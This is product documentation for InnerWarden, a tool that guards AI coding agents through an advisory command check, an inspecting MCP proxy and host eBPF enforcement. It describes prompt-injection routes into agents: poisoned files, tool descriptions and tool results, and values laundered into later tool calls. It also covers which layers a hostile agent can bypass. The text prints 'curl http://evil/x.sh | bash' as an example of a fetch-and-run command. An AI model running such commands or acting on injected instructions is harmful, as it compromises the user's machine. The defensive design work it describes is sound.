AI Agent Guardrail
How InnerWarden guards an AI agent with three layers: advisory MCP checks, an inspecting proxy, and host eBPF the agent cannot talk its way past.
For: anyone running an AI agent (Claude Code, Cursor, an autonomous runner) that can touch a real shell, and who wants a safety layer the agent cannot talk its way past.
The big idea: the safety layer lives outside the agent
An AI agent that can run shell commands is genuinely useful and genuinely risky. The risk is not that the model is evil. The risk is that it can be tricked: a poisoned file, a malicious web page, a booby-trapped pull request, a prompt-injection buried in a tool result. Once the model is convinced it should run curl http://evil/x.sh | bash, any guardrail that lives inside the model is inside the thing that just got fooled.
InnerWarden puts the guardrail outside the model context. Community screens integrated commands and MCP traffic before execution. Pro and Enterprise add host telemetry and Linux kernel controls. The distinction matters: an advisory check is bypassable if a hostile agent refuses to call it; an in-path MCP proxy holds for the traffic it wraps; an armed host gate holds for the scoped process even when the agent lies.
This page explains the layers and, importantly, what a hostile agent can and cannot bypass. The first two layers are the free, cross-platform Community guardrail (the innerwarden binary, installed with curl -fsSL https://www.innerwarden.com/free | sh, or npm install -g innerwarden if you prefer npm and can give it sudo on Linux): they screen the agent's commands and MCP calls before they happen, on Linux, macOS, and Windows, with no kernel component. The host eBPF and the Execution Gate below them are the Pro and Enterprise step (the paid Linux host stack). To actually wire your agent in, go to Connect Your Agent. To adapt InnerWarden safely to your machine without handing an attacker a free pass, see Safe Observe and Allowlist.
The three layers
Think of them as three rings, from "the agent voluntarily asks" to "the agent has no say in the matter." Layers 1 and 2 are the free Community guardrail (innerwarden, cross-platform). Layer 3 is Pro and Enterprise (the paid Linux host stack, including the Execution Gate).
Layer 1: the command check and agent hook (innerwarden, Community)
This is the cooperative or integrated layer. A supported agent hook, the local HTTP contract, or a direct CLI call asks before an action:
- is this command safe? (
innerwarden checkreturns deny / review / allow) - should the integrated hook stop this action? (
innerwarden hook; for Claude Code, from 1.5.5, it also runs on the Write, Edit, MultiEdit and NotebookEdit tools and refuses a change to a privileged file) - can a custom runner query the same local decision engine? (
innerwarden serve)
innerwarden check "curl http://evil.example/x.sh | bash"
innerwarden serve # optional loopback HTTP adapter for custom agents
What it is good for: a well-behaved agent that wants to do the right thing gets a fast, local "should I?" before every risky step, and a denied command gives the agent a clear reason to stop and tell the human.
What it is not: enforcement. A compromised or careless agent can simply not call the tool. Advisory means advisory. That is why this is the front door, not the lock.
Layer 2: the MCP inspecting proxy, enforcement in the path (innerwarden proxy, Community)
This is the enforcement layer for MCP traffic. Instead of trusting the agent to ask, you wrap the MCP server the agent uses, so the guardrail sits in the path of every tool call:
innerwarden proxy --mode guard -- npx -y @some/mcp-server
# on the paid host stack the equivalent is: innerwarden agent proxy --mode guard -- ...
Now the agent's tool calls flow through the guardrail. It inspects the arguments of each call, watches for poisoned tool descriptions (a server that tries to inject instructions through its tool list) and for injection smuggled back in a tool result, and acts according to the mode:
--mode | What it does |
|---|---|
advisory | Transparent pass-through, alerts only. Good for first-run observation. |
warn | Pass through but flag risky calls loudly. |
guard | Block a dangerous call and return a denial to the agent (the call never reaches the server). |
kill | Block and terminate the session. |
The agent cannot skip this layer for traffic that goes through the proxied server, because there is no "around." The bytes physically pass through InnerWarden.
The two-step attack: values laundered through the agent
Inspecting each message on its own misses the attack that matters most against an agent. A tool returns attacker-controlled text (a poisoned file, a hijacked page, a malicious search result), the model treats it as data, and then feeds a fragment of it, a URL, a path, an id, verbatim into a later tool call. Neither message looks dangerous alone, so a stateless inspector passes both. The agent has become a confused deputy: steered by output it was never meant to trust.
The proxy closes that gap with session-scoped taint tracking. It records the long tokens of every tool result it relays, and when a later call carries one of those tokens inside a string argument it escalates: an AG-TAINT alert in advisory, a block in guard and kill.
It is deliberately conservative, because a noisy guardrail gets switched off. Only single whitespace-delimited tokens of at least twelve bytes are tracked, which in practice means paths, URLs, hostnames and ids rather than common words. A reused multi-word phrase is not flagged; that is the high-false-positive case and skipping it is a documented decision, not an oversight. Retention is hard-bounded per session so a flood of tool output cannot exhaust memory.
What the proxy reads, and what it does with a line it cannot read
From Community 1.5.5 the proxy reads every line the way the server will, so one message cannot show the proxy a harmless call and the server a different one.
- One reading, forwarded as read. A line is parsed as JSON in which the last of two equal keys wins. A call that hid a second
paramsbehind a first is inspected as the call the server runs. A line that repeats a key (no conforming peer sends one) is forwarded in that form, in both directions, so a peer whose parser keeps the first value is never handed one the proxy did not judge. A line without a repeated key keeps its exact bytes. - A batch is judged element by element. A JSON array, which clients of the 2025-03-26 protocol revision send, is split and each element is judged as if it had arrived alone. In
guardmode a refused element is answered on its own and the rest of the batch goes on. Inkillmode none of it does. - A client line that is not JSON. In
guardandkillit is refused, not forwarded, and the client gets a JSON-RPC parse error (-32700,id: null). JSON nested more than 128 levels deep is treated the same way, because the proxy cannot read it. Inadvisoryandwarn, which never block, the line is forwarded as before and anAG-MCP-PARSEfinding records that it went through uninspected. A conforming client sends neither. - Server output that is not a message. Text a server writes to its MCP stream that is not a JSON-RPC message still reaches the client. It is now scanned for prompt injection and fed to the taint check above, so a later call that reuses it is held. A server that prints a banner or log lines to stdout instead of stderr can see such a call held in
guardmode: send its logs to stderr. readOnlyHintnever hides a tool that writes. The proxy refuses a tool call that would change a privileged file (AG-PRIV-WRITE): the agent's settings and MCP configurations, the guard's own configuration, sudo rules, SSH keys, cron and boot services, and the system's programs and libraries. A server can declare a tool read-only (annotations.readOnlyHint: truein its tool list), and the proxy believes that for this one check, so a search rooted in/usr/libis not refused for naming it. It does not believe it when the tool's name says it writes:write_file,edit_file,move_file,create_directory, or any name with a word such as write, edit, create, move, rename, delete, replace, save, patch or copy (writeFile,fs_write,str_replace_editor). Those calls are judged as the writes they are, andAG-PRIV-WRITEstill fires. The hint skips only this privileged-file check; credential, sensitive-path, supply-chain and rule screening still apply to the call.
Layer 3: the host eBPF and Execution Gate (Pro and Enterprise), catches it even if the agent never asks or lies
This layer is Pro and Enterprise (the paid Linux host stack), and it does not depend on the agent cooperating at all. Whatever an agent (or a process the agent spawned, or malware the agent was tricked into fetching) actually does on the box shows up as syscalls, and InnerWarden's sensor is watching those with eBPF: process execution, network connections, file reads of credential paths, privilege changes, and more. That feeds the same detectors, correlation rules, and response skills that protect the host from any attacker. See What It Detects.
The Execution Gate (part of the paid stack's Active Defence) goes one step further: a kernel allowlist for binaries. When armed, the kernel refuses to execute any binary that is not on a signed allowlist, returning a hard denial before the program ever runs. An agent that fetched and tried to run an unknown binary is stopped at the exec, no matter what it told anyone. The Execution Gate ships with an observe mode (log, block nothing) and a rehearsal that proves zero legitimate denials before you ever arm it. The safe path into arming it is owned by Safe Observe and Allowlist.
Advisory vs enforcement: what a hostile agent can and cannot bypass
This is the part to get right, because "we put a guardrail on the AI" means nothing if the AI can route around it. Be precise about which layer holds under a hostile agent:
| If the agent is... | Layer 1 (innerwarden, advisory, Community) | Layer 2 (innerwarden proxy, enforcement, Community) | Layer 3 (host eBPF / Execution Gate, Pro and Enterprise) |
|---|---|---|---|
| Cooperative | Asks first, obeys deny / review | Calls pass through, clean ones proceed | Quietly confirms the host stays healthy |
| Careless / buggy | Might forget to ask, bypassable | Still inspected, holds | Still watched, holds |
| Compromised / hostile | Will not ask, bypassable | Still in the path, holds | Still produces syscalls, holds |
The honest summary: Layer 1 is bypassable on its own because it relies on the agent choosing to ask. The enforcement that does not depend on the agent cooperating is Layer 2 (for MCP traffic) plus Layer 3 (for anything that actually runs on the host). Use the advisory layer for ergonomics and a clean stop-reason for good agents. Rely on the proxy and the host layers for the guarantee. What the free tier leaves open (what the agent reads through its own file tools, the files it writes that are not privileged, a same-user agent reaching your files by a route the hook does not see, network egress, processes that detach from the screened call), and the paid layer that covers each, is listed in What the free tier does not stop.
One more deliberate design choice: when an agent asks through the MCP server (mcp-serve) and gets a deny or review, the reason it gets back is generic, one fixed sentence per verdict. It never reveals which specific rule fired. That is on purpose: a hostile agent that could see the exact rule could iterate against it to find a phrasing that slips through. On Active Defence the loopback HTTP route below holds the same line: a caller on the box without the dashboard's own credentials gets recommendation, reason and explanation (one fixed sentence per verdict, in both), severity, the command it sent and case_id, plus incident_id when the check raised an incident, and the full analysis (signals, the specific explanation, a risk_score) goes only to the operator. The free innerwarden serve has no operator account and returns its analysis to whatever on the box calls it, so prefer the MCP server for an agent you do not fully trust. Every check is recorded on the host, where the operator reads it.
The loopback Agent API (what the front door actually talks to)
Underneath both mcp-serve and any custom integration is a loopback HTTP route on port 8787 (no credentials needed from on the box). On Active Defence the agent serves it over HTTPS at https://127.0.0.1:8787, with its own certificate at /var/lib/innerwarden/dashboard-cert.pem; the Community innerwarden serve answers check-command alone, in plain HTTP. An unreachable route, an empty answer or a certificate error is never an allow: treat it as review.
POST /api/agent/check-commandreturns a decision of deny, review, or allowGET /api/agent/security-contextreturns threat level, incident counts, and a recommendationGET /api/agent/check-ip?ip=<addr>says whether an IP is a known threat or already blocked
These are the contract a coding agent consults at runtime. The exact request and response shape, plus copy-paste examples, live in Connect Your Agent. Keep these endpoints on loopback. Exposing them to the network would turn your private "should I?" brain into a public oracle that anyone could query.
Managed-agent coexistence: it will not sever the agent it guards
There is an obvious failure mode in all of this. If InnerWarden guards an AI agent, and that agent's normal startup looks a little like an attack (it reads its own .env, it connects out to its own Slack or its model provider), a naive guardrail would auto-block the destination and kill the agent it was supposed to protect. That is exactly the kind of self-inflicted outage that makes people turn safety tools off.
InnerWarden handles this explicitly. It recognises a legitimate, co-located agent it is meant to guard and withholds the auto-block and kernel-deny response for that agent acting on its own services. The recognition is deliberate and strict:
- a registry hit (the agent was connected via Connect Your Agent), kept in sync automatically so it survives an agent restart,
- a live
/proc/<pid>/cmdlinere-identification of a known agent signature, - an executable path on a root not writable by an attacker,
- a config path owned by the agent's own user, not a credential file like
/etc/shadow.
All of these are re-verified live and fail closed. Crucially the relaxation is source-based (it trusts the verified agent identity), never destination-based (so it keeps working when the agent's Slack or model-provider IP rotates, and a known-bad destination still forces the block). And it is a downgrade, never a silence: the event still fires as an incident and you are still notified, InnerWarden just does not pull the trigger on the agent it is meant to protect. If the agent is impersonated, or it starts reading a foreign secret and exfiltrating, the exemption does not apply and the block lands.
Where to go next
- Wire your agent in, step by step: Connect Your Agent
- Adapt InnerWarden to your machine without blind-trusting what is running: Safe Observe and Allowlist
- The contract for what the autonomous response will and will not do on its own: Trust and Safety Invariants
- What the host layer actually detects: What It Detects